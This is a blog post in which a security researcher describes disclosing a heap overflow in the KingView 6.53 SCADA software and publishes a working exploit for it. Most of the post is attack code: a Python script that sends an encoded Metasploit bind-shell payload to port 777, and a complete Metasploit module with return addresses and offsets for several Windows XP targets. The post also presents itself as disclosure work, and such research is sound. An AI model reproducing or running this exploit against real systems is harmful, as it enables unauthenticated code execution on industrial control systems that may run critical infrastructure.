Waking up the sleeping dragon

On September 28, 2010 I notified Beijing based WellinControl Technology Development Co.,Ltd  and CN-CERT that one of Wellintech's products had a very serious security vulnerability, and that if properly leveraged would allow an attacker to exploit the bug and execute arbitrary code. The vendor and China's National Computer Network Emergency Response Team never responded to my email or the follow up email sent out by US-CERT.  Keep in mind this is not any old software. The vulnerability affects one of the most widely trusted and used supervisory control and data acquisition applications in China.

KingView 6.53 

KingView 6.53

Download

While I found it extremely disappointing that Wellintech never responded to my disclosure, I was far more bothered with the fact that CN-CERT never responded. What are they doing over there?

However, US-CERT responded within a few weeks of disclosing the vulnerability. US-CERT explained in the email that their team would notify the vendor and respond back with more information as it became available.

They even took the time to express appreciation in a follow up email for disclosing the vulnerability. I must admit, it would have been nice to have received a prompt response from CN-CERT at least letting me know that they received the information and would look into it...

Is this CN-CERT's standard operating procedure?  We know what happens when important security vulnerability disclosures go unaddressed for long periods of time.

Moreover, after waiting several months to see if Wellintech would quietly issue a patch to fix the security vulnerability they didn't. I made a decision to develop a working exploit with code execution to prove that this wasn't just another "software bug".

My initial disclosure to the vendor contained enough pertinent information and the proof of concept code to trigger the bug and overwrite pointers in memory thus allowing arbitrary code code execution.

Vulnerable HistorySvr.exe KingView Process Heap Overflow

What was the problem I asked myself? Why did they fail to respond? Did they want code execution? Why not just fix the vulnerability?

One of my colleagues at NSS Labs has a saying...

"It's hard to argue with a shell" -- Rick Moy

Here it is, a tiny little tcp bind shell courtesy of the Metasploit Framework

Hopefully this will be an incentive to issue a patch to all of Wellintech's customers. :-) 

----snip----

## usage python exploit.py 127.0.0.1 777

import os
import socket
import sys

host = sys.argv[1]
port = int(sys.argv[2])

print " KingView 6.53 SCADA HMI Heap Smashing Exploit "
print " Credits: Dillon Beresford | twitter.com/D1N "

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=,
# AutoRunScript=
buf = ("\xdd\xc4\xd9\x74\x24\xf4\x5a\x33\xc9\xbe\xeb\x5d\x85\x19"
"\xb1\x56\x31\x72\x18\x83\xea\xfc\x03\x72\xff\xbf\x70\xe5"
"\x17\xb6\x7b\x16\xe7\xa9\xf2\xf3\xd6\xfb\x61\x77\x4a\xcc"
"\xe2\xd5\x66\xa7\xa7\xcd\xfd\xc5\x6f\xe1\xb6\x60\x56\xcc"
"\x47\x45\x56\x82\x8b\xc7\x2a\xd9\xdf\x27\x12\x12\x12\x29"
"\x53\x4f\xdc\x7b\x0c\x1b\x4e\x6c\x39\x59\x52\x8d\xed\xd5"
"\xea\xf5\x88\x2a\x9e\x4f\x92\x7a\x0e\xdb\xdc\x62\x25\x83"
"\xfc\x93\xea\xd7\xc1\xda\x87\x2c\xb1\xdc\x41\x7d\x3a\xef"
"\xad\xd2\x05\xdf\x20\x2a\x41\xd8\xda\x59\xb9\x1a\x67\x5a"
"\x7a\x60\xb3\xef\x9f\xc2\x30\x57\x44\xf2\x95\x0e\x0f\xf8"
"\x52\x44\x57\x1d\x65\x89\xe3\x19\xee\x2c\x24\xa8\xb4\x0a"
"\xe0\xf0\x6f\x32\xb1\x5c\xde\x4b\xa1\x39\xbf\xe9\xa9\xa8"
"\xd4\x88\xf3\xa4\x19\xa7\x0b\x35\x35\xb0\x78\x07\x9a\x6a"
"\x17\x2b\x53\xb5\xe0\x4c\x4e\x01\x7e\xb3\x70\x72\x56\x70"
"\x24\x22\xc0\x51\x44\xa9\x10\x5d\x91\x7e\x41\xf1\x49\x3f"
"\x31\xb1\x39\xd7\x5b\x3e\x66\xc7\x63\x94\x11\xcf\xad\xcc"
"\x72\xb8\xcf\xf2\x65\x64\x59\x14\xef\x84\x0f\x8e\x87\x66"
"\x74\x07\x30\x98\x5e\x3b\xe9\x0e\xd6\x55\x2d\x30\xe7\x73"
"\x1e\x9d\x4f\x14\xd4\xcd\x4b\x05\xeb\xdb\xfb\x4c\xd4\x8c"
"\x76\x21\x97\x2d\x86\x68\x4f\xcd\x15\xf7\x8f\x98\x05\xa0"
"\xd8\xcd\xf8\xb9\x8c\xe3\xa3\x13\xb2\xf9\x32\x5b\x76\x26"
"\x87\x62\x77\xab\xb3\x40\x67\x75\x3b\xcd\xd3\x29\x6a\x9b"
"\x8d\x8f\xc4\x6d\x67\x46\xba\x27\xef\x1f\xf0\xf7\x69\x20"
"\xdd\x81\x95\x91\x88\xd7\xaa\x1e\x5d\xd0\xd3\x42\xfd\x1f"
"\x0e\xc7\x0d\x6a\x12\x6e\x86\x33\xc7\x32\xcb\xc3\x32\x70"
"\xf2\x47\xb6\x09\x01\x57\xb3\x0c\x4d\xdf\x28\x7d\xde\x8a"
"\x4e\xd2\xdf\x9e"
"\xff\xd1\x90\x90")

exploit = ("\x90" * 1024 + "\x44" * 31788)
exploit += ("\xeb\x14") # our JMP (over the junk and into nops)
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += buf

print "  [+] Herrow Sweeping Dragon..."
print "  [+] Sending payload..."

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host,port))
s.send(exploit) 
data = s.recv(1024)

print "  [+] Closing connection.."
s.close() 
print "  [+] Done!"

------------

Metasploit Module for the KingView historysvr.exe works with XP SP3.


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,

'Name'        => "KingView 6.53 SCADA HMI HistorySvr Heap Overflow",
'Description' => %q{
This module exploits a buffer overflow in Kingview 6.53.  By sending a specially
crafted request to port 777 (HistorySvr.exe), a remote attacker can
gain arbitrary code execution without authentication and take control of
the machine running KingView 6.53
},
'License'  => MSF_LICENSE,
'Version'  => "$Revision$",
'Author'      =>
[
'Dillon Beresford',
'Rick2600',
],
'References' =>
[
['CVE', '2011-0406'],
['OSVDB', '70366'],
['Bugtraq', '45727'],
['URL', 'http://www.exploit-db.com/exploits/15957'],
['URL', 'http://www.kb.cert.org/vuls/id/180119'],
['URL', 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space'    => 12000,
'BadChars' => "\x00\x0d\x0a\xff",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 ENG',
{
'Ret' =>   0x7c997ca9, # ntdll.dll jmp ecx
'Offset' => 31752, # method by D1N
}
],
[ 'Windows XP SP3 ENG 2',
{
'Ret' => 0x7C9A432B, # ntdll.dll jmp ecx
'Offset' => 31752, # method by rick2600
}
],
[ 'Windows XP SP1 ENG',
{
'Ret' => 0x77ED73B4, # UnhandledExceptionFilter() in kernel32.dll
'Offset' => 31788,
}
],
[ 'Debug',
{
'Ret' => 0x41424344, # Debug
'Offset' => 31788,
}
]
],

'DisclosureDate' => "9/28/2010",
'DefaultTarget' => 0))

register_options( [ Opt::RPORT(777) ], self.class )
end

def exploit
sploit = ''

if target.name =~ /XP SP3 ENG/
#d1n
sploit = make_nops(1024)
sploit << payload.encoded
sploit <<  rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << Rex::Arch::X86.jmp_short(4)
sploit << make_nops(6)
sploit << "\xe9\x08\x80"
sploit << "\xff\xff"

elsif target.name =~ /XP SP3 ENG 2/
#rick2600
sploit = "\x90" * 1024
sploit << payload.encoded
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')
sploit << "\x00"  # PAD
sploit << "\x81\xE9\x08\x80\x00\x00" # SUB ECX,0x8008
sploit << "\xFF\xE1" # JMP ECX

elsif target.name =~ /XP SP1 ENG/
#rick2600 and d1n
sploit << "\x90"*1024
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << "\xEB\x10"
sploit << "\x41"*6
sploit << "\xAD\xBB\xC3\x77"
sploit << [target.ret].pack('V')
sploit << "\x90"*8
sploit << payload.encoded
sploit << "\x44"*1000-sploit.length

elsif target.name =~ /Debug/

sploit << "\x90"*1024
sploit << payload.encoded
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')

end

connect

sock.put(sploit)
sock.get_once

handler
disconnect

end
end

------------

Or you can grab it from Exploit-DB

At the time of this blog post, the vulnerable SCADA software is still available on Wellintech's website for download and presumably running at various critical infrastructure sites in CHINA. I have recently contacted US-CERT again, but this time through my employer just to check if the vendor had responded, the folks from US-CERT told me they still hadn't received any response from Wellintech.

At this point the only thing left for me to do was share the information with the security community and send it over to the good people at Exploit-DB.

A special thanks to the guys over at Metasploit for their handy rapid exploit development modules and some brave souls like David Litchfield, Dave Aitel and Steven Seeley who have sacrificed countless hours of time writing up tutorials on heaps. :-)

I'm not sure whats worse, a 0day for the most popular SCADA software in China floating around in the wild or a team of security professionals from China's CERT sleeping behind the wheel.

-D1N